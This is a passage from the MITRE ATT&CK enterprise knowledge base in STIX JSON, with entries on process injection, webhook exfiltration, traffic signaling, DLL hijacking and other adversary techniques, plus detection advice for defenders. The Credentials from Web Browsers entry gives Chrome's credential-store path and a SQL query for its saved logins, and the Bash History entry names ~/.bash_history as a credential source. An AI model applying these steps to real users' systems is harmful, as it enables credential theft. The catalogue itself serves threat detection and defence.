SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) \n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nMonitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \n\nMonitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.3","x_mitre_data_sources":["Process: Process Access","Process: Process Modification","File: File Modification","Process: Process Metadata","File: File Metadata","Process: OS API Execution","Module: Module Load"],"x_mitre_defense_bypassed":["Application control","Anti-virus"],"type":"attack-pattern","id":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","created":"2017-05-31T21:30:47.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1055","external_id":"T1055"},{"source_name":"GNU Acct","description":"GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.","url":"https://www.gnu.org/software/acct/"},{"source_name":"Elastic Process Injection July 2017","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"},{"source_name":"RHEL auditd","description":"Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.","url":"https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing"},{"source_name":"ArtOfMemoryForensics","description":"Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017."},{"source_name":"Microsoft Sysmon v6 May 2017","description":"Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.","url":"https://docs.microsoft.com/sysinternals/downloads/sysmon"},{"source_name":"Chokepoint preload rootkits","description":"stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.","url":"http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2024-10-15T15:57:55.928Z","name":"Exfiltration Over Webhook","description":"Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel. Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server.(Citation: RedHat Webhooks) Many public and commercial services, such as Discord, Slack, and `webhook.site`, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello.(Citation: Discord Intro to Webhooks) When changes happen in the linked services (such as pushing a repository update or modifying a ticket), these services will automatically post the data to the webhook endpoint for use by the consuming application. \n\nAdversaries may link an adversary-owned environment to a victim-owned SaaS service to achieve repeated [Automated Exfiltration](https://attack.mitre.org/techniques/T1020) of emails, chat messages, and other data.(Citation: Push Security SaaS Attacks Repository Webhooks) Alternatively, instead of linking the webhook endpoint to a service, an adversary can manually post staged data directly to the URL in order to exfiltrate it.(Citation: Microsoft SQL Server)\n\nAccess to webhook endpoints is often over HTTPS, which gives the adversary an additional level of protection. Exfiltration leveraging webhooks can also blend in with normal network traffic if the webhook endpoint points to a commonly used SaaS application or collaboration service.(Citation: CyberArk Labs Discord)(Citation: Talos Discord Webhook Abuse)(Citation: Checkmarx Webhooks)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_contributors":["Yossi Weizman, Microsoft Threat Intelligence","Sunders Bruskin, Microsoft Threat Intelligence"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","macOS","Linux","SaaS","Office Suite"],"x_mitre_version":"1.1","x_mitre_data_sources":["Application Log: Application Log Content","Command: Command Execution","Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content","File: File Access"],"type":"attack-pattern","id":"attack-pattern--43f2776f-b4bd-4118-94b8-fee47e69676d","created":"2023-07-20T15:30:55.763Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1567/004","external_id":"T1567.004"},{"source_name":"Checkmarx Webhooks","description":" Jossef Harush Kadouri. (2022, March 7). Webhook Party — Malicious packages caught exfiltrating data via legit webhook services. Retrieved July 20, 2023.","url":"https://medium.com/checkmarx-security/webhook-party-malicious-packages-caught-exfiltrating-data-via-legit-webhook-services-6e046b07d191"},{"source_name":"CyberArk Labs Discord","description":"CyberArk Labs. (2023, April 13). The (Not so) Secret War on Discord. Retrieved July 20, 2023.","url":"https://www.cyberark.com/resources/threat-research-blog/the-not-so-secret-war-on-discord"},{"source_name":"Discord Intro to Webhooks","description":"D. (n.d.). Intro to Webhooks. Retrieved July 20, 2023.","url":"https://support.discord.com/hc/en-us/articles/228383668-Intro-to-Webhooks"},{"source_name":"Microsoft SQL Server","description":"Microsoft Threat Intelligence. (2023, October 3). Defending new vectors: Threat actors attempt SQL Server to cloud lateral movement. Retrieved October 3, 2023.","url":"https://www.microsoft.com/security/blog/2023/10/03/defending-new-vectors-threat-actors-attempt-sql-server-to-cloud-lateral-movement/"},{"source_name":"Talos Discord Webhook Abuse","description":"Nick Biasini, Edmund Brumaghin, Chris Neal, and Paul Eubanks. (2021, April 7). https://blog.talosintelligence.com/collab-app-abuse/. Retrieved July 20, 2023.","url":"https://blog.talosintelligence.com/collab-app-abuse/"},{"source_name":"Push Security SaaS Attacks Repository Webhooks","description":"Push Security. (2023, July 31). Webhooks. Retrieved August 4, 2023.","url":"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/webhooks/description.md"},{"source_name":"RedHat Webhooks","description":"RedHat. (2022, June 1). What is a webhook?. Retrieved July 20, 2023.","url":"https://www.redhat.com/en/topics/automation/what-is-a-webhook"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1139","url":"https://attack.mitre.org/techniques/T1139"},{"url":"http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way","description":"Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.","source_name":"External to DA, the OS X Way"}],"modified":"2020-02-04T13:03:03.354Z","name":"Bash History","description":"Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like cat ~/.bash_history.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"modified":"2022-10-19T23:08:40.603Z","name":"Traffic Signaling","description":"Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.\n\nThe Wake-on-LAN magic packet consists of 6 bytes of FF followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)","x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_is_subtechnique":false,"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"2.4","x_mitre_contributors":["Tony Lee","Josh Day, Gigamon"],"x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Connection Creation","Process: Process Creation","Network Traffic: Network Traffic Flow"],"x_mitre_defense_bypassed":["Defensive network service scanning"],"type":"attack-pattern","id":"attack-pattern--451a9977-d255-43c9-b431-66de80130c8c","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1205","external_id":"T1205"},{"source_name":"Bleeping Computer - Ryuk WoL","description":"Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021.","url":"https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/"},{"source_name":"AMD Magic Packet","description":"AMD. (1995, November 1). Magic Packet Technical White Paper. Retrieved February 17, 2021.","url":"https://www.amd.com/system/files/TechDocs/20213.pdf"},{"source_name":"Mandiant - Synful Knock","description":"Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.","url":"https://www.mandiant.com/resources/synful-knock-acis"},{"source_name":"Cisco Synful Knock Evolution","description":"Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.","url":"https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"},{"source_name":"Hartrell cd00r 2002","description":"Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.","url":"https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631"},{"source_name":"Cisco Blog Legacy Device Attacks","description":"Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.","url":"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"},{"source_name":"GitLab WakeOnLAN","description":"Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February 17, 2021.","url":"https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-27T18:32:11.219Z","name":"Direct Cloud VM Connections","description":"Adversaries may leverage [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log directly into accessible cloud hosted compute infrastructure through cloud native methods. Many cloud providers offer interactive connections to virtual infrastructure that can be accessed through the [Cloud API](https://attack.mitre.org/techniques/T1059/009), such as Azure Serial Console(Citation: Azure Serial Console), AWS EC2 Instance Connect(Citation: EC2 Instance Connect)(Citation: lucr-3: Getting SaaS-y in the cloud), and AWS System Manager.(Citation: AWS System Manager).\n\nMethods of authentication for these connections can include passwords, application access tokens, or SSH keys. These cloud native methods may, by default, allow for privileged access on the host with SYSTEM or root level access. \n\nAdversaries may utilize these cloud native methods to directly access virtual infrastructure and pivot through an environment.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console) These connections typically provide direct console access to the VM rather than the execution of scripts (i.e., [Cloud Administration Command](https://attack.mitre.org/techniques/T1651)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_contributors":["Thanabodi Phrakhun, @naikordian"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["IaaS"],"x_mitre_version":"1.0","x_mitre_data_sources":["Logon Session: Logon Session Creation"],"type":"attack-pattern","id":"attack-pattern--45241b9e-9bbc-4826-a2cc-78855e51ca09","created":"2023-06-02T15:27:55.412Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1021/008","external_id":"T1021.008"},{"source_name":"EC2 Instance Connect","description":"AWS. (2023, June 2). Connect using EC2 Instance Connect. Retrieved June 2, 2023.","url":"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-connect-methods.html"},{"source_name":"AWS System Manager","description":"AWS. (2023, June 2). What is AWS System Manager?. Retrieved June 2, 2023.","url":"https://docs.aws.amazon.com/systems-manager/latest/userguide/what-is-systems-manager.html"},{"source_name":"lucr-3: Getting SaaS-y in the cloud","description":"Ian Ahl. (2023, September 20). LUCR-3: Scattered Spider Getting SaaS-y In The Cloud. Retrieved September 20, 2023.","url":"https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud"},{"source_name":"SIM Swapping and Abuse of the Microsoft Azure Serial Console","description":"Mandiant Intelligence. (2023, May 16). SIM Swapping and Abuse of the Microsoft Azure Serial Console: Serial Is Part of a Well Balanced Attack. Retrieved June 2, 2023.","url":"https://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial"},{"source_name":"Azure Serial Console","description":"Microsoft. (2022, October 17). Azure Serial Console. Retrieved June 2, 2023.","url":"https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/serial-console-overview"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ryan Benson, Exabeam","Barry Shteiman, Exabeam","Sylvain Gil, Exabeam","RedHuntLabs, @redhuntlabs"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f","type":"attack-pattern","created":"2019-06-17T19:34:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1503","url":"https://attack.mitre.org/techniques/T1503"},{"source_name":"Talos Olympic Destroyer 2018","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html","description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019."},{"source_name":"Microsoft CryptUnprotectData April 2018","url":"https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata","description":"Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019."},{"source_name":"Proofpoint Vega Credential Stealer May 2018","url":"https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign","description":"Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June 18, 2019."},{"source_name":"FireEye HawkEye Malware July 2017","url":"https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html","description":"Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019."},{"source_name":"GitHub Mimikittenz July 2016","url":"https://github.com/putterpanda/mimikittenz","description":"Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019."}],"modified":"2020-11-17T16:03:55.549Z","name":"Credentials from Web Browsers","description":"Adversaries may acquire credentials from web browsers by reading files specific to the target browser. (Citation: Talos Olympic Destroyer 2018) \n\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Identify web browser files that contain credentials such as Google Chrome’s Login Data database file: AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"modified":"2024-03-01T16:25:43.150Z","name":"System Binary Proxy Execution","description":"Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.\n\nSimilarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Nishan Maharjan, @loki248","Hans Christoffer Gaardløs","Praetorian","Wes Hurd"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Compare recent invocations of signed binaries that may be used to proxy execution with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the Internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\n\nMonitor for file activity (creations, downloads, modifications, etc.), especially for file types that are not typical within an environment and may be indicative of adversary activity.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_version":"3.1","x_mitre_data_sources":["Network Traffic: Network Connection Creation","Windows Registry: Windows Registry Key Modification","Module: Module Load","File: File Creation","Process: OS API Execution","Process: Process Creation","Command: Command Execution"],"x_mitre_defense_bypassed":["Anti-virus","Application control","Digital Certificate Validation"],"type":"attack-pattern","id":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1218","external_id":"T1218"},{"source_name":"GTFO split","description":"GTFOBins. (2020, November 13). split. Retrieved April 18, 2022.","url":"https://gtfobins.github.io/gtfobins/split/"},{"source_name":"LOLBAS Project","description":"Oddvar Moe et al. (2022, February). Living Off The Land Binaries, Scripts and Libraries. Retrieved March 7, 2022.","url":"https://github.com/LOLBAS-Project/LOLBAS#criteria"},{"source_name":"split man page","description":"Torbjorn Granlund, Richard M. Stallman. (2020, March null). split(1) — Linux manual page. Retrieved March 25, 2022.","url":"https://man7.org/linux/man-pages/man1/split.1.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1153","url":"https://attack.mitre.org/techniques/T1153"},{"source_name":"Source Manual","url":"https://ss64.com/bash/source.html","description":"ss64. (n.d.). Source or Dot Operator. Retrieved May 21, 2019."}],"modified":"2020-03-30T13:40:14.512Z","name":"Source","description":"**This technique has been deprecated and should no longer be used.**\n\nThe source command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways source /path/to/filename [arguments] or .**This technique has been deprecated and should no longer be used.** /path/to/filename [arguments]. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual)\n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.","x_mitre_deprecated":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Stefan Kanthak","Travis Smith, Tripwire"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--46944654-fcc1-4f63-9dad-628102376586","type":"attack-pattern","created":"2017-05-31T21:30:40.604Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"url":"https://attack.mitre.org/techniques/T1038","external_id":"T1038","source_name":"mitre-attack"},{"url":"https://capec.mitre.org/data/definitions/471.html","source_name":"capec","external_id":"CAPEC-471"},{"source_name":"Microsoft DLL Search","description":"Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.","url":"http://msdn.microsoft.com/en-US/library/ms682586"},{"source_name":"OWASP Binary Planting","description":"OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.","url":"https://www.owasp.org/index.php/Binary_planting"},{"source_name":"Microsoft 2269637","description":"Microsoft. (2010, August 22). Microsoft Security Advisory 2269637 Released. Retrieved December 5, 2014.","url":"https://msrc-blog.microsoft.com/2010/08/21/microsoft-security-advisory-2269637-released/"},{"source_name":"Microsoft DLL Redirection","description":"Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved December 5, 2014.","url":"http://msdn.microsoft.com/en-US/library/ms682600"},{"source_name":"Microsoft Manifests","description":"Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.","url":"https://msdn.microsoft.com/en-US/library/aa375365"},{"source_name":"Mandiant Search Order","description":"Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited. Retrieved December 5, 2014.","url":"https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/"}],"modified":"2020-03-26T14:49:47.091Z","name":"DLL Search Order Hijacking","description":"Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Process whitelisting"],"x_mitre_permissions_required":["User","Administrator","SYSTEM"],"x_mitre_system_requirements":["Ability to add a DLL, manifest file, or .local file, directory, or junction."],"x_mitre_effective_permissions":["User","Administrator","SYSTEM"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Pedro Harrison"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790","type":"attack-pattern","created":"2017-05-31T21:30:45.613Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1050","url":"https://attack.mitre.org/techniques/T1050"},{"external_id":"CAPEC-550","source_name":"capec","url":"https://capec.mitre.org/data/definitions/550.html"},{"url":"https://technet.microsoft.com/en-us/library/cc772408.aspx","description":"Microsoft. (n.d.). Services. Retrieved June 7, 2016.","source_name":"TechNet Services"},{"url":"https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697","description":"Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.","source_name":"Microsoft 4697 APR 